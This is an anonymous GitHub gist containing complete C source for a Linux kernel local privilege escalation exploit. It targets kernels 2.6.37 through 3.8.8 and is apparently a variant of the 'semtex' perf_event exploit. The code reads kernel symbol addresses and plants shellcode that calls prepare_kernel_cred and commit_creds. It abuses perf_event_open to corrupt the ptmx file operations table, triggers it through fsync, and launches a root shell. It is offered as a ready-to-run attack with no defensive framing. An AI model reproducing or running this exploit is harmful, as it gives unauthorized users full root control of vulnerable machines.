Created
June 4, 2014 19:16
-
-
Save anonymous/40996630379660447f85 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* linux 2.6.37-3.8.8 - x86 | |
* @rikiji | |
* | |
* requires System.map and /dev/ptmx | |
* this: http://zmbs.net/~rikiji/perf_ptmx.c | |
* original: http://fucksheep.org/~sd/warez/semtex.c | |
*/ | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <sys/mman.h> | |
#include <stdint.h> | |
#include <linux/perf_event.h> | |
#include <asm/unistd.h> | |
#define SYSMAP_PREFIX "/boot/System.map-" | |
#define PAGE_SIZE 4096 | |
unsigned long commit_creds = 0; | |
unsigned long prepare_kernel_cred = 0; | |
#define OFFSET_PREP 3 | |
#define OFFSET_COMM 10 | |
char shellcode [] = "\x31\xc0\xbb\x04\x03\x02\x01\xff\xd3\xbb\x08\x07\x06\x05\xff\xd3\xc3"; | |
unsigned long getsym(char * sym) | |
{ | |
char s[256] = { 0 }; | |
int fd = open("/proc/version", O_RDONLY); | |
read(fd, s, sizeof(s)); | |
strtok(s, " "); | |
strtok(NULL, " "); | |
char * version = strtok(NULL, " "); | |
close(fd); | |
int len = strlen(version) + strlen(SYSMAP_PREFIX) + 1; | |
char * mapf = malloc(len); | |
memset(mapf, 0, len); | |
strncpy(mapf, SYSMAP_PREFIX, strlen(SYSMAP_PREFIX)); | |
strncpy(mapf + strlen(SYSMAP_PREFIX), version, strlen(version)); | |
fd = open(mapf, O_RDONLY); | |
#define BUFSIZE 1024 | |
char * buf = malloc(BUFSIZE + 1); | |
buf[BUFSIZE] = 0; | |
int partial = 0, found = 0; | |
char addr[9]; | |
while(!found) { | |
read(fd, buf, BUFSIZE); | |
char * tok = strtok(buf," \n"); | |
while(tok != NULL) { | |
int n = strlen(tok); | |
if(partial) { | |
if(strncmp(sym + partial, tok, n) == 0) { | |
found = 1; | |
break; | |
} else { | |
partial = 0; | |
} | |
} else { | |
if(strncmp(sym, tok, n) == 0) { | |
strncpy(addr, tok - 11, 9); | |
if(n < strlen(sym) && (tok + n == buf + BUFSIZE)) { | |
partial = n; | |
break; | |
} | |
if(n == strlen(sym)) { | |
found = 1; | |
break; | |
} | |
} | |
} | |
tok = strtok(NULL," \n"); | |
} | |
} | |
close(fd); | |
printf("%s: 0x%s\n", sym, addr); | |
return strtoul(addr, NULL, 16); | |
} | |
int main(int argc, char ** argv) | |
{ | |
unsigned long perf_table = getsym("perf_swevent_enabled"); | |
commit_creds = getsym("commit_creds"); | |
prepare_kernel_cred = getsym("prepare_kernel_cred"); | |
unsigned long pmtx_ops = getsym("ptmx_fops"); | |
*((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred; | |
*((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds; | |
int s; | |
for(s=0;s<sizeof(shellcode);s++) | |
printf("%02x ", (unsigned char)shellcode[s]); | |
printf("\n"); | |
/* 56 is offset of fsync in struct file_operations */ | |
int target = pmtx_ops + 56; | |
int payload = -((perf_table - target)/4); | |
printf("payload: 0x%x\n", payload); | |
unsigned long base_addr = 0x10000; | |
char * map = mmap((void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0); | |
if(map == MAP_FAILED) | |
perror("mmap"); | |
memcpy(map, shellcode, 0x30); | |
struct perf_event_attr event_attr; | |
memset(&event_attr, 0, sizeof(struct perf_event_attr)); | |
event_attr.type = 1; | |
event_attr.size = sizeof(struct perf_event_attr); | |
event_attr.config = payload; | |
int times = base_addr; | |
int i = 0, k; | |
#define BLOCK 256 | |
while(times - i > 0) { | |
printf("i %d\n", i); | |
if(times - i > BLOCK) { | |
if(fork()) { | |
for(k=0;k<BLOCK;k++){ | |
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0); | |
if (fd < 0) { | |
perror("perf_event_open child"); | |
} | |
} | |
pause(); | |
exit(0); | |
} | |
i += BLOCK; | |
} else { | |
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0); | |
if (fd < 0) { | |
perror("perf_event_open"); | |
sleep(1); | |
} | |
i++; | |
} | |
} | |
int ptmx = open("/dev/ptmx", O_RDWR); | |
fsync(ptmx); | |
if(getuid()) { | |
printf("failed"); | |
return -1; | |
} | |
printf("root!!"); | |
execl("/bin/sh", "sh", NULL); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment